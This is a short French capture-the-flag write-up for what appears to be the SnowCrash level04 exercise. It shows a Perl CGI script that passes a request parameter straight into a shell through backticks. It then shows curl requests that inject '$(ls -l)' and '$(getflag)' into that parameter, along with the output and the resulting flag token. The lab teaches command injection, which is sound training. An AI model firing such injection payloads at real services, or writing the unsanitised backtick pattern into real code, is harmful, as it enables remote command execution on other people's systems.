35 lines
860 B
Markdown
35 lines
860 B
Markdown
Lors de l'arriver sur le level04 je remarque le fichier level04.pl
|
|
|
|
Ce script est en perl et se presente sous la forme
|
|
|
|
```perl
|
|
#!/usr/bin/perl
|
|
# localhost:4747
|
|
use CGI qw{param};
|
|
print "Content-type: text/html\n\n";
|
|
sub x {
|
|
$y = $_[0];
|
|
print `echo $y 2>&1`;
|
|
}
|
|
```
|
|
|
|
Nous pouvons donc voir que ce script recupere un argument (ici x), et affiche cet argumements
|
|
|
|
```bash
|
|
curl -d x="Common will just echo" http://127.0.0.1:4747
|
|
Common will just echo
|
|
```
|
|
|
|
Nous pouvons donc afficher ce que nous souhaitons en executant echo. Mais egallement un subshell
|
|
|
|
```bash
|
|
curl -d x="\$(ls -l)" http://127.0.0.1:4747
|
|
total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl
|
|
```
|
|
|
|
Nous pouvons donc executer les commandes donc testons avec getflag
|
|
|
|
```bash
|
|
curl -d x="\$(getflag)" http://127.0.0.1:4747
|
|
Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap
|
|
```
|